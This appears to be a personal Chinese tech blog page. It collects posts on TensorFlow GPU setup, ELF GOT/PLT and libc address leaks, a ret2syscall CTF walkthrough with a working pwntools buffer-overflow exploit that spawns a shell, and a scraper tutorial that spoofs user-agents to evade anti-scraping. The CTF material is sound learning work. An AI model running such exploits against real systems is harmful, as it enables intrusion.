L&F

Good Good Study Day Day Up.


  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

  • 日程表

  • 站点地图

  • 公益 404

How to Install TensorFlow1.x and 2.x GPU Supported on Windows

发表于 2020-03-08

1. 概述

目前神经网络的编程框架仍然主要使用TensorFlow,尤其在TensorFlow2.0之后,使用TensorFlow框架编程可以像其他Python库一样直接编写。从个人使用角度讲,其优点包括但不限于:

  1. 隐化计算图构建过程,使得学习壁垒降低,对新手更加友好。
  2. TensorFlow2.0的Keras API更加好用,可以实现一行一层神经网络,几行完成整个神经网络的设计。
  3. 梯度计算更加方便,只要设计好神经网络,选定输入和输出神经元,即可自动实现后向传播算法,以计算梯度。

但是,目前主流的TensorFlow存在两个版本,并且两个版本的编程方式存在的不小的差异,为适应复现不用项目的需求,以及学习各种基于神经网络的项目,在本机系统上同时支持两个版本的TensorFlow是有必要的,本教程主要介绍如何在Windows上进行TensorFlow1.x和TensorFlow2.x的同时环境配置。

需要说明的是,TensorFlow1.x是区分CPU版本和GPU版本的,而TensorFlow2.X是不区分的,如果有GPU并配置好了环境会自动搭载GPU运行程序。同时因为TensorFlow1.x的CPU版本较为简单,因此本教程只对TensorFlow1.x和进行TensorFlow2.x的GPU版本进行配置。

2. 基础环境搭建

由于要对双版本的TensorFlow进行支持,这里推荐创建两个Python的虚拟环境(virtualenv)分别安装,并在使用时选择特定的虚拟环境下的Python执行任务。

查看本机是否安装了Python3、pip3、virtualenv。
1
2
3
python3 --version
pip3 --version
virtualenv --version

如果已经所需的环境包都已经安装,则继续安装Windows系统缺失的动态链接库环境。

包环境安装
  • 如果未安装Python3,可以到官网下载并安装,同时pip3会随同Python3一起被安装:Python 3 release for Windows
  • 如果未安装virtualenv,可以使用如下命令安装:pip3 install -U pip virtualenv
系统库环境安装

由于TensorFlow2.1.0之后需要Microsoft Visual C++关于Visual Studio 2015, 2017, and 2019的支持。对于未安装 Visual Studio 2019的用户需要另行安装此支持,以实现msvcp140_1.dll对TensorFlow2.1.0的支持。

  • 到 Microsoft Visual C++ downloads选取适合自己系统的Visual C++ 2015, 2017 and 2019支持,例如vc_redist.x64.exe。
  • 同时保证开启Windows下的长路径许可: long paths are enabled
建立虚拟环境并开启/关闭环境
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 跟新系统环境下的pip
pip install --upgrade pip

# 为TensorFlow1.x GPU创建虚拟环境
virtualenv --system-site-packages -p python3 ./venv_tf_1x_gpu
# 为TensorFlow2.x 创建虚拟环境
# virtualenv --system-site-packages -p python3 ./venv_tf_2x

# 启动虚拟环境
./venv_tf_1x_gpu/Scripts/activate

# 展示该虚拟环境下的所有Python包
pip list # show packages installed within the virtual environment

# 退出虚拟环境
deactivate # don't exit until you're done using TensorFlow

3. TensorFlow 1.x GPU支持 安装教程

环境配置要求:
1
2
3
4
scipy==1.2.1
CUDA==10.0
cudnn==7.4
tensorflow-gpu==1.15

更多版本之间的对应关系参考链接https://blog.csdn.net/qq_27825451/article/details/89082978

安装TensorFlow 1.x GPU
1
2
3
4
5
6
7
8
9
10
11
12
# 开启venv_tf_1x_gpu虚拟Python环境
./venv_tf_1x_gpu/Scripts/activate

# 将scipy版本降级到1.2.1
pip install scipy==1.2.1

# 安装TensorFlow1.5 GPU版本
pip install tensorflow-gpu==1.15 # GPU

# 测试TensorFlow是否安装成功
python -c "import tensorflow as tf;print(tf.reduce_sum(tf.random.normal([1000, 1000])))"
# 此处会显示是否采用了GPU的支持,即便GPU支持未开启,此处代码也可运行。若想获得GPU支持,请继续参考如下步骤。
配置GPU环境支持
  • NVIDIA® GPU drivers —CUDA 10.1 requires 418.x or higher.
  • CUDA® Toolkit —TensorFlow supports CUDA 10.0 (TensorFlow = 1.5)
  • CUPTI 随同CUDA Toolkit一起安装
  • cuDNN SDK (7.4)
配置系统环境变量

将CUDA, CUPTI, 和 cuDNN加到系统变量%PATH%下。例如,如果CUDA Toolkit 被安装到 C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v10.0 同时cuDNN被安装到 C:\tools\cuda,如下更新%PATH% 以便别的程序能找到他们:

1
2
3
4
SET PATH=C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v10.0\bin;%PATH%
SET PATH=C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v10.0\extras\CUPTI\libx64;%PATH%
SET PATH=C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v10.0\include;%PATH%
SET PATH=C:\tools\cuda\bin;%PATH%

4. TensorFlow 2.x GPU支持 安装教程

环境配置要求:
1
2
3
CUDA==10.1
cudnn==7.6
tensorflow-gpu==2.1.0

更多版本之间的对应关系参考链接https://blog.csdn.net/qq_27825451/article/details/89082978

安装TensorFlow 2.x GPU
1
2
3
4
5
6
7
8
9
# 开启venv_tf_2x虚拟Python环境
./venv_tf_2x/Scripts/activate

# 安装TensorFlow最新版本
pip install tensorflow # GPU

# 测试TensorFlow是否安装成功
python -c "import tensorflow as tf;print(tf.reduce_sum(tf.random.normal([1000, 1000])))"
# 此处会显示是否采用了GPU的支持,即便GPU支持未开启,此处代码也可运行。若想获得GPU支持,请继续参考如下步骤。
配置GPU环境支持
  • NVIDIA® GPU drivers —CUDA 10.1 requires 418.x or higher.
  • CUDA® Toolkit —TensorFlow supports CUDA 10.1 (TensorFlow >= 2.1.0)
  • CUPTI 随同CUDA Toolkit一起安装
  • cuDNN SDK (7.6)
配置系统环境变量

将CUDA, CUPTI, 和 cuDNN加到系统变量%PATH%下。例如,如果CUDA Toolkit 被安装到 C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v10.1 同时cuDNN被安装到 C:\tools\cuda2,如下更新%PATH% 以便别的程序能找到他们:

1
2
3
4
SET PATH=C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v10.1\bin;%PATH%
SET PATH=C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v10.1\extras\CUPTI\libx64;%PATH%
SET PATH=C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v10.1\include;%PATH%
SET PATH=C:\tools\cuda2\bin;%PATH%

特别注意:两个版本的cuDNN和CUDA不要安装在同一路径,一面相互干扰。

5. 可选操作

更新所有的Python包

可以将系统环境下的大部分Python包更新到最新,以保证大部分包与包之间是兼容的

1
2
3
# pip-review方式:
pip install pip-review
pip-review --local --interactive
1
2
3
4
5
6
7
8
9
10
11
12
13
# 代码方式
# python3 pip10以上
import pip
from pip._internal.utils.misc import get_installed_distributions
from subprocess import call
for dist in get_installed_distributions():
call("pip install --upgrade " + dist.project_name, shell=True)

# pip 10以下
import pip
from subprocess import call
for dist in pip.get_installed_distributions():
call("pip install --upgrade " + dist.project_name, shell=True)

声明:本教程写于2020年3月8日,本教程内容只对该日安装过程负责。

主要参考资料:

[1] https://www.tensorflow.org/install/pip

[2] https://www.tensorflow.org/install/gpu

GOT and PLT

发表于 2019-05-11 | 更新于 2019-05-12

写在前头

​ 首先, 我们要知道, GOT和PLT只是一种重定向的实现方式. 所以为了理解他们的作用, 就要先知道什么是重定向, 以及我们为什么需要重定向.

​ 重定向(relocations), 简单来说就是二进制文件中留下的”坑”, 预留给外部变量或函数. 这里的变量和函数统称为符号(symbols). 在编译期我们通常只知道外部符号的类型 (变量类型和函数原型), 而不需要知道具体的值(变量值和函数实现). 而这些预留的”坑”, 会在用到之前(链接期间或者运行期间)填上. 在链接期间填上主要通过工具链中的连接器, 比如GNU链接器ld; 在运行期间填上则通过动态连接器, 或者说解释器(interpreter)来实现.

符号表

函数和变量作为符号被存在可执行文件中, 不同类型的符号又聚合在一起, 称为符号表.
有两种类型的符号表, 一种是常规的(.symtab和.strtab), 另一种是动态的(.dynsym和.dynstr),
他们都在对应的section中, 以main为例:

1
2
3
4
5
6
7
$ readelf -S ./main
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 5] .dynsym DYNSYM 080481ec 0001ec 0000b0 10 A 6 1 4
[ 6] .dynstr STRTAB 0804829c 00029c 000085 00 A 0 0 1
...
[33] .symtab SYMTAB 00000000 00120c 000490 10 34 52 4
[34] .strtab STRTAB 00000000 00169c 0001e1 00 0 0 1

GOT表和PLT表:

GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。

这是链接器在执行链接时 实际上要填充的部分, 保存了所有外部符号的地址信息。 不过值得注意的是,在i386架构下, 除了每个函数占用一个GOT表项外,GOT表项还保留了 3个公共表项, 每项32位(4字节), 保存在前三个位置, 分别是:

  • got[0]: 本ELF动态段(.dynamic段)的装载地址
  • got[1]: 本ELF的link_map数据结构描述符地址
  • got[2]: _dl_runtime_resolve函数的地址

PLT(ProcedureLinkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。

这个表里包含了一些代码,用来(1)调用链接器来解析某个外部函数的地址, 并填充到.got.plt中, 然后跳转到该函数;或者(2)直接在.got.plt中查找并跳转到对应外部函数(如果已经填充过)。

延迟绑定:

所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序。

下面简单介绍一下延迟绑定的基本原理。假如存在一个bar函数,这个函数在PLT中的条目为bar@plt,在GOT中的条目为bar@got,那么在第一次调用bar函数的时候,首先会跳转到PLT,伪代码如下:

1
2
3
bar@plt:
jmp bar@got
patch bar@got

这里会从PLT跳转到GOT,如果函数从来没有调用过,那么这时候GOT会跳转回PLT并调用patch bar@got,这一行代码的作用是将bar函数真正的地址填充到bar@got,然后跳转到bar函数真正的地址执行代码。当我们下次再调用bar函数的时候,执行路径就是先后跳转到bar@plt、bar@got、bar真正的地址。具体来看个实例:

vulnerable_function函数调用了read函数,由于read函数是动态链接加载进来的只有在链接的时候才知道地址,编译时并不知道地址

执行call _read函数会跳到plt表中寻找:

4484910-cc89e9b35db2643a

plt表中会继续跳入到got表中寻找

4484910-36c8d9ecd0b0033f

got表中的所存的read函数的地址便是在so.6进程中的实际地址

4484910-7e00f562ffefb5c1

也就是

4484910-72c5fc694475e1f8

PLT->GOT调用过程:

图片1

图片2

1
2
3
4
Push n ;n是符号引用在重定位表中的下标。
Push 0x80496f0;是模块的id
Jmp *0x80496f4是_dl_runtime_resolve()函数地址,找到一个函数地址,必须知道是那个模块,哪个函数
Got表前三项是.dynamic地址;本模块id;_dl_runtime_resolve()地址

图片3

信息泄漏的实现

在进行缓冲区溢出攻击的时候,如果我们将EIP跳转到write函数执行,并且在栈上安排和write相关的参数,就可以泄漏指定内存地址上的内容。比如我们可以将某一个函数的GOT条目的地址传给write函数,就可以泄漏这个函数在进程空间中的真实地址。

如果泄漏一个系统调用的内存地址,结合libc.so.6文件,我们就可以推算出其他系统调用(比如system)的地址。

ibc.so.6文件的作用

在一些CTF的PWN题目中,经常可以看到题目除了提供ELF文件之外还提供了一个libc.so.6文件,那么这个额外提供的文件到底有什么用呢?

如果我们可以利用目标程序的漏洞来泄漏某一个函数的地址,那么我们就可以计算出system函数的地址了,当然,被泄露地址的函数必须也定义在libc.so.6中(libc.so.6中通常也存在有/bin/bash或者/bin/sh这个字符串)。

计算system函数地址的基本原理是,在libc.so.6中,各个函数的相对地址是固定的,比如函数A相对于libc.so.6的起始地址为addr_A,函数B相对于libc.so.6的起始地址为addr_B,那么,如果我们能够泄漏进程内存空间中函数A的地址address_A,那么函数B在进程空间中的地址就可以计算出来了,为address_A + addr_B - addr_A

相关知识:

LEAh和offset的区别:

lea 是机器指令,offset 是伪指令。

LEA BX, BUFFER ;在实际执行时才会将变量buffer的地址放入bx

MOV BX, OFFSET BUFFER ;在编译时就已经计算出buffer的地址为4300(假设),然后将上句替换为: mov bx,4300

lea可以进行比较复杂的计算,比如lea eax,[esi+ebx4],把ebx的值4,加上esi的值,存入eax中。
mov就不行了。

OFFSET只能取得用”数据定义伪指令”定义的变量的有效地址,不能取得一般操作数的有效地址(摘自80x86汇编语言程序设计教程)
MOV BX,OFFSET [BX+200]这句是错误的 应该用LEA BX,[BX+200]

lea eax,[ebp]
说明: eax得到ebp指向的堆栈内容的偏移地址, 和寄存器ebp的值是相同的

PIE相关

按照链接器的约定, 32位程序会加载到0x08048000这个地址中(为什么?),
所以我们写程序时, 可以以这个地址为基础, 对变量进行绝对地址寻址. 以main为例:

1
2
3
$ readelf -S ./main | grep "\.data"
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[25] .data PROGBITS 0804a014 001014 00000c 00 WA 0 0 4

.data部分在可执行文件中的偏移量为0x1014, 那么加载到虚拟内存中的地址应该是
0x8048000+0x1014=0x804a14, 正好和显示的结果一样. 再看看main函数的汇编代码:

(这里的0x08048000是虚拟地址)

按绝对地址寻址, 对可执行文件来说不是什么大问题, 因为一个进程只有一个主函数.
可对于动态链接库而言就比较麻烦, 如果每个.so文件都要求加载到某个绝对地址,
那简直是个噩梦, 因为你无法保证不和别人的.so加载地址冲突. 所以就有了位置无关代码的概念.
以位置无关的方式编译的main_pi, 来看看其相关信息:

1
2
3
$ readelf -S ./main_pi | grep "\.data"
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[25] .data PROGBITS 00002014 001014 00000c 00 WA 0 0 4

偏移量还是固定的, 但Addr部分不再是绝对地址. 也就是说程序可以加载到虚拟内存的任意位置.
听起来很神奇? 其实实现很简单, 继续看看main()的汇编:

(汇编指令长度是不固定的!不是定长16位、32位或者64位)

参考文献:

http://blog.sina.com.cn/s/blog_54f82cc201011oqv.html

https://www.jianshu.com/p/0ac63c3744dd

https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html

ret2syscall

发表于 2019-05-08 | 更新于 2019-05-12

ROP 原理:

主函数通过__cdcall方式进行函数压栈:

PUSH PART2

PUSH PART1

主函数通过call指令完成指令转移:

call(

PUSH EIP

JUMP NEXT

)

子函数开辟堆栈空间:

PUSH EBP

MOV EBP, ESP

SUB ESP, 80H

子函数清空栈空间并返回上级函数栈空间:

LEAVE(

MOV ESP,EBP

POP EBP

)

子函数通过RET指令完成指令跳转:

RET(

POP EIP

)

具体如图所示:

ROP

例题:

Jarvis:[XMAN]level2

nc pwn2.jarvisoj.com 9878

level2.54931449c557d0551c4fc2a10f4778a1

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

# p = process('./level2')
p = remote('pwn2.jarvisoj.com',9878)
elf = ELF("./level2")
system_addr = elf.plt["system"]
# binsh_addr = elf.plt["/bin/sh"]
binsh_addr = 0x0804A024
payload = 'a'*0x8c + p32(system_addr) + 'juck' + p32(binsh_addr) # 中间的junk就是用来填充system_ret用的。
p.send(payload)
p.interactive()
p.close()

调用方式总结

调用约定 堆栈清除 参数传递
__cdcall 调用者 从右到左,通过堆栈传递
__stdcall 函数体 从右到左,通过堆栈传递
__fastcall 函数体 从右到左,优先使用寄存器(ECX,EDX),然后使用堆栈
thiscall 函数体 this指针默认通过ECX传递,其他参数从右到左入栈

一个例子

1
2
3
4
5
6
7
8
9
10
11
12
#include   
void foo(int x, int y, int z)
{
printf("x = %d at [%X]n", x, &x);
printf("y = %d at [%X]n", y, &y);
printf("z = %d at [%X]n", z, &z);
}
int main(int argc, char *argv[])
{
foo(100, 200, 300);
return 0;
}

运行结果:

1
2
3
x = 100 at [BFE28760] 
y = 200 at [BFE28764]
z = 300 at [BFE28768]

第二个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
.text:08048480
.text:08048480 ; =============== S U B R O U T I N E =======================================
.text:08048480
.text:08048480 ; Attributes: bp-based frame
.text:08048480
.text:08048480 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:08048480 public main
.text:08048480 main proc near ; DATA XREF: _start+17↑o
.text:08048480
.text:08048480 var_4 = dword ptr -4
.text:08048480 argc = dword ptr 8
.text:08048480 argv = dword ptr 0Ch
.text:08048480 envp = dword ptr 10h
.text:08048480
.text:08048480 ; __unwind {
.text:08048480 lea ecx, [esp+4]
.text:08048484 and esp, 0FFFFFFF0h
.text:08048487 push dword ptr [ecx-4]
.text:0804848A push ebp
.text:0804848B mov ebp, esp
.text:0804848D push ecx
.text:0804848E sub esp, 4
.text:08048491 call vulnerable_function
.text:08048496 sub esp, 0Ch
.text:08048499 push offset aEchoHelloWorld ; "echo 'Hello World!'"
.text:0804849E call _system
.text:080484A3 add esp, 10h
.text:080484A6 mov eax, 0
.text:080484AB mov ecx, [ebp+var_4]
.text:080484AE leave
.text:080484AF lea esp, [ecx-4]
.text:080484B2 retn
.text:080484B2 ; } // starts at 8048480
.text:080484B2 main endp
.text:080484B2
.text:080484B2 ; ---------------------------------------------------------------------------

.text:0804844B
.text:0804844B ; =============== S U B R O U T I N E =======================================
.text:0804844B
.text:0804844B ; Attributes: bp-based frame
.text:0804844B
.text:0804844B public vulnerable_function
.text:0804844B vulnerable_function proc near ; CODE XREF: main+11↓p
.text:0804844B
.text:0804844B buf = byte ptr -88h
.text:0804844B
.text:0804844B ; __unwind {
.text:0804844B push ebp ; 保存上一个栈帧的基址
.text:0804844C mov ebp, esp ; 设置新一个栈帧的基址
.text:0804844E sub esp, 88h ; 开辟栈帧空间
.text:08048454 sub esp, 0Ch ; ???
.text:08048457 push offset command ; "echo Input:" 压入第一个参数
.text:0804845C call _system ; call指令转移 push eip; jump next
.text:08048461 add esp, 10h ; 主函数清空参数
.text:08048464 sub esp, 4 ; ???
------------------------------------------函数调用-----------------------------------------
.text:08048467 push 100h ; nbytes压入第三个参数
.text:0804846C lea eax, [ebp+buf] ; 获取buf地址
.text:08048472 push eax ; buf 压入第二个参数
.text:08048473 push 0 ; fd 压入第一个参数
.text:08048475 call _read ; call指令转移 push eip; jump next
.text:0804847A add esp, 10h ; 主函数清空参数 正好请调四个压入栈的32 位数
------------------------------------------------------------------------------------------------------------------------------------函数返回----------------------------------------
.text:0804847D nop
.text:0804847E leave ; leave指令清空MOV ESP,EBP; POP EBP 返回上一个栈帧
.text:0804847F retn ; POP EIP 继续主函数未完成的指令
.text:0804847F ; } // starts at 804844B
.text:0804847F vulnerable_function endp
.text:0804847F

为什么函数参数要自右向左压栈?

C程序栈底为高地址,栈顶为低地址,因此上面的实例可以说明函数参数入栈顺序的确是从右至左的。

进一步发现,C语言支持可变长参数,而C语言支持这种特色,正是这个原因使得C语言函数参数入栈顺序为从右至左。通过栈堆分析可知,自左向右的入栈方式,最前面的参数被压在栈底。除非知道参数个数,否则是无法通过栈指针的相对位移求得最左边的参数。这样就变成了左边参数的个数不确定,正好和动态参数个数的方向相反。 (如果是从右往左进栈,根据栈后进先出的特性,靠左的参数离栈顶越近,在进入新函数栈帧后,EBP+8位函数的第一次个参数,EBP+12位函数的第二个参数)

__stdcall与C调用约定(__cdecl)的区别

C调用约定在返回前,要作一次堆栈平衡,也就是参数入栈了多少字节,就要弹出来多少字节.这样很安全.

有一点需要注意:stdcall调用约定如果采用了不定参数,即VARARG的话,则和C调用约定一样,要由调用者来作堆栈平衡.

  1. __stdcall是Pascal方式清理C方式压栈,通常用于Win32 Api中,函数采用从右到左的压栈方式,自己在退出时清空堆栈。VC将函数编译后会在函数名前面加上下划线前缀,在函数名后加上”@”和参数的字节数。 int f(void *p) –>> _f@4(在外部汇编语言里可以用这个名字引用这个函数)

​ 在WIN32 API中,只有少数几个函数,如wspintf函数是采用C调用约定,其他都是stdcall

  1. C调用约定(即用__cdecl关键字说明)(The C default calling convention)按从右至左的顺序压参数入栈,由调用者把参数弹出栈。对于传送参数的内存栈是由调用者来维护的(正因为如此,实现可变参数vararg的函数(如printf)只能使用该调用约定)。另外,在函数名修饰约定方面也有所不同。 _cdecl是C和C++程序的缺省调用方式。每一个调用它的函数都包含清空堆栈的代码,所以产生的可执行文件大小会比调用_stdcall函数的大。函数采用从右到左的压栈方式。VC将函数编译后会在函数名前面加上下划线前缀。
  2. __fastcall调用的主要特点就是快,因为它是通过寄存器来传送参数的(实际上,它用ECX和EDX传送前两个双字(DWORD)或更小的参数,剩下的参数仍旧自右向左压栈传送,被调用的函数在返回前清理传送参数的内存栈),在函数名修饰约定方面,它和前两者均不同。__fastcall方式的函数采用寄存器传递参数,VC将函数编译后会在函数名前面加上”@”前缀,在函数名后加上”@”和参数的字节数。
  3. thiscall仅仅应用于”C++”成员函数。this指针存放于CX/ECX寄存器中,参数从右到左压。thiscall不是关键词,因此不能被程序员指定。
  4. naked call。 当采用1-4的调用约定时,如果必要的话,进入函数时编译器会产生代码来保存ESI,EDI,EBX,EBP寄存器,退出函数时则产生代码恢复这些寄存器的内容。 (这些代码称作 prolog and epilog code,一般,ebp,esp的保存是必须的). 但是naked call不产生这样的代码。naked call不是类型修饰符,故必须和_declspec共同使用。

关键字 stdcall、cdecl和fastcall可以直接加在要输出的函数前。它们对应的命令行参数分别为/Gz、/Gd和/Gr。缺省状态为/Gd,即cdecl。

要完全模仿PASCAL调用约定首先必须使用stdcall调用约定,至于函数名修饰约定,可以通过其它方法模仿。还有一个值得一提的是WINAPI宏,Windows.h支持该宏,它可以将出函数翻译成适当的调用约定,在WIN32中,它被定义为stdcall。使用WINAPI宏可以创建自己的APIs。

call、ret指令,本质上还是汇编『跳转指令』,它们都用于修改IP,或同时修改CS和IP;这两个指令经常被用来实现子程序的设计


ret指令和retf指令

ret指令用栈中的数据,修改IP的内容,从而实现近转移
retf指令用栈的数据,修改CS和IP的内容,从而实现远转移

CPU执行ret指令时,相当于进行:

1
pop IP

CPU执行retf指令时,相当于进行:

1
2
pop IP
pop CS

call指令

当执行call指令时,进行两步操作:

  1. 将当前的IP或CS和IP压入栈中
  2. 转移

call指令不能实现短转移,它的书写格式同jmp指令

依据标号进行转移的call指令

1
2
语法格式:call 标号 
汇编解释:(1) push IP (2) jmp near ptr 标号

依据目的地址在指令中的call指令

1
2
语法格式:call far ptr 标号
汇编解释:(1) push CS (2) push IP (3) jmp far ptr 标号

转移地址在寄存器中的call指令

1
2
语法格式:call 16位reg
汇编解释:(1) push IP (2) jmp 16位reg

转移地址在内存中的call指令

1
2
3
4
5
语法格式一:call word ptr 内存单元地址
汇编解释一:(1) push IP (2) jmp word ptr 内存单元地址

语法格式二:call dword ptr 内存单元地址
汇编解释二:(1) push CS (2) push IP (3) jmp dword ptr 内存单元地址

leave

1
2
3
4
5
6
7
8
在16位汇编下相当于:
mov sp,bp
pop bp
在32位汇编下相当于:
mov esp,ebp
pop ebp
/* leave指令将EBP寄存器的内容复制到ESP寄存器中,
以释放分配给该过程的所有堆栈空间。然后,它从堆栈恢复EBP寄存器的旧值。*/

How to Write a Spider

发表于 2019-04-09
找到爬取目标

要想通过机器爬取数据,必须先知道数据在哪,通过什么样的方式获取数据。

一般先打开要爬取的网站,再通过审查元素的方式查看要爬取网站的网页结构。选取要爬取数据最具特点的内容作为搜索标记(例如下载论文的img),然后制定爬取规则进行爬取。

制定爬取规则是整个爬虫过程最为重要的过程,好的爬取规则可以事半功倍。

例如,在我的爬虫项目中,我们要爬取的目标对象附近总会有一个”PDF”的图像 pdf_logo,而其他部分没有这个图像pdf_logo,我们就可以使用这个图像作为我爬取规则的关键字。(这种提取关键字的思想可以参考TF-IDF)

使用好工具

对于一般的小型爬虫项目,使用Request库+BeautifulSoup库是非常方便的。Request库为Python提供一个使用HTTP协议的API,BeautifulSoup库为Python处理HTML格式文件的API,两者结合可以快速完成一般的网络爬取项目。

Requests 允许你发送纯天然,植物饲养的 HTTP/1.1 请求,无需手工劳动。你不需要手动为
URL 添加查询字串,也不需要对 POST 数据进行表单编码。Keep-alive 和 HTTP 连接池的功能是
100% 自动化的,一切动力都来自于根植在 Requests 内部的 urllib3。(更多介绍参考Request中文文档)

Beautiful Soup 是一个可以从HTML或XML文件中提取数据的Python库.它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式.Beautiful Soup会帮你节省数小时甚至数天的工作时间。(更多介绍参考BeautifulSoup中文文档)

编程模板
  1. 引入所需要的库

    1
    2
    3
    import requests #Request库,用以使用HTTP协议
    from bs4 import BeautifulSoup # BeautifulSoup库,用以解析HTML格式文件
    import time #Time库,用以延时下载(sleep(5)反反爬)

    其中Time库,用以引入sleep()函数,如果目标网站通过访问间隔进行限制用户访问,一般爬取很容易爬到403禁止访问页面。因此我们需要sleep()函数进行反反爬。

  2. 获取目标页面并解析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    def GetPage():
    try:
    url = "yoursite.com" # 你目标网站的URL
    headers = {'user-agent': 'Mozilla/5.0'} # 修改头文件欺骗目标站点
    r = requests.get(url=url,headers=headers) # 构建HTTP数据包并发送给目标站点
    r.raise_for_status() # 检查是否返回正确页面
    r.encoding = r.apparent_encoding # 使用最有可能的解码方式进行解码
    return r # 返回爬到的数据
    except:
    return "产生异常"

    if __name__ == '__main__':
    r = GetPage()
    soup = BeautifulSoup(r.text,'html.parser') # 将爬到的数据让BeautifulSoup以html格式解码

    本项目是爬取某学术会议的论文集,所以并不需要扩散式的爬取,仅需将某页面上的所有论文PDF及其题目摘要爬取下来。

  3. 根据具体的爬取规则实现爬取

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    for pdf in soup.find_all('img'): # 上接 main 函数
    if pdf['src'] == "imagetypes/pdf_logo.gif":

    PdfFather = pdf.parent.parent.parent.parent
    # 找到论文PDF下载地址
    DownloadLink=pdf.parent["href"]

    # 找到论文的题目
    TitleFather = PdfFather.previous_sibling
    Title = GetText(TitleFather.get_text())[0]

    # 找到论文的摘要
    AbstractFather = PdfFather.next_sibling
    AbstractFather = PdfFather.next_sibling
    Abstract = 0
    for AbstractFather in PdfFather.next_siblings:
    if str(type(AbstractFather)) =="<class 'bs4.element.NavigableString'>":
    continue
    temp = GetText(AbstractFather.get_text()) # 将爬到的摘要前后的空格与回车去掉
    Abstract = temp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    def GetText(temp):# 将爬到的摘要前后的空格与回车去掉
    first = -1
    rear = 0
    for i in range(len(temp)):
    if temp[i] == '\n' or temp[i] == ' ':
    continue
    else:
    first = i
    break
    for i in range(len(temp)):
    if temp[-(i + 1)] == '\n' or temp[-(i + 1)] == ' ':
    continue
    else:
    rear = -(i + 1)
    break
    temp = temp[first:rear + 1]
    temp = temp.split("\n")
    return temp
  4. 将爬到的东西下载到本地

    1
    2
    3
    4
    5
    6
    7
    8
    headers = {'user-agent': 'Mozilla/5.0'}
    time.sleep(5)
    r = requests.get(url=DownloadLink,headers=headers)
    with open(Title+".pdf", "wb") as code:
    code.write(r.content)
    if Abstract!=None:
    with open(Title + ".txt", "w",encoding='utf-8') as code:
    code.write(Abstract)
常见错误:
  1. 被反爬

    由于利用Request库进行GET操作时,HTTP报头会表示客户端为Python,所以很容易被针对。检测HTTP报头Agent字段是最简单的反爬机制,如果目标网站还有其他反爬机制,请参考更多文献。

    在本项目中,我们将Agent改为“Mozilla/5.0”即可越过反爬机制。具体代码如下:

    1
    2
    3
    url = "yoursite.com"
    headers = {'user-agent': 'Mozilla/5.0'}
    r = requests.get(url=url,headers=headers)
  2. 编码出错

    由于window新建文件的默认编码为GBK,而Request库爬到的数据默认编码为UTF-8,虽然在写入文件时Python会自动将UTF8码转为GBK,但是一些特殊字符是不能转换成功的。因此我们应以UTF8格式新建文件。

    1
    2
    with open(Title + ".txt", "w",encoding='utf-8') as code:
    code.write(Abstract)
  3. BeautifulSoup使用规范

    在BeautifulSoup中,可以跨标签寻找子孙,只要我们知道目标标签的标签类型。

    例如:通过点取属性的方式能获得当前名字的第一个tag:

    1
    2
    soup.a
    # <a class="sister" href="http://example.com/elsie" id="link1">Elsie</a>

    但是,在BeautifulSoup中不能跨标签使用.string和.strings参数。

    例如:如果tag包含了多个子节点,tag就无法确定 .string 方法应该调用哪个子节点的内容, .string 的输出结果是 None :

    1
    2
    print(soup.html.string)
    # None

幸运的是,我们可以使用get_text()方法获取非叶子结点的所有NavigableString 子孙,并返回一个连接到一起的字符串(而非字符串的集合)。

例如,如果tag中包含多个字符串 [2] ,可以使用 .strings 来循环获取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for string in soup.strings:
print(repr(string))
# u"The Dormouse's story"
# u'\n\n'
# u"The Dormouse's story"
# u'\n\n'
# u'Once upon a time there were three little sisters; and their names were\n'
# u'Elsie'
# u',\n'
# u'Lacie'
# u' and\n'
# u'Tillie'
# u';\nand they lived at the bottom of a well.'
# u'\n\n'
# u'...'
# u'\n'

Someting Special

发表于 2019-03-25
中文目录:

要想让next显示中文字体,应该在站点配置文件中修改语言为主题中一共的语言解析方式。

而且解析方式为主题语言解析目录下的文件名。因此,站点语言应该设置为zh-CN而非zh-Hans

域名解析:

在域名解析时两边应该都使用CNAME方式进行绑定,而非A的方式。

网站访问过慢:

GOF Structure 2

发表于 2019-03-25
Flyweight 享元模式
官方解释:

运用共享技术有效支持大量细粒度的对象。

Flyweight 对象可用于不同的context中,本身固有的状态( ( 内部状态) ) 不随context发生变化,而其他的状态( ( 外部状态) ) 随context 而 变化。

一个享元对象的内部状态在对象被创建出来以后就不再改变。

享元模式如何与工厂模式配合?Flyweight fw = new ConcreteFlyweight();

UML:(享元接口,具体享元,享元工厂)

1

个人理解:

享元就是将对象们共享的部分抽出来,然后单独作为一个类/对象,作为之前对象的一个传入参数使用。

//当享元对象不是太大时,完全没有必要这么设计……

应用:

汽车厂商想要制造多种类型的车,每类车的长宽高是确定的。

1
2
3
4
5
6
7
8
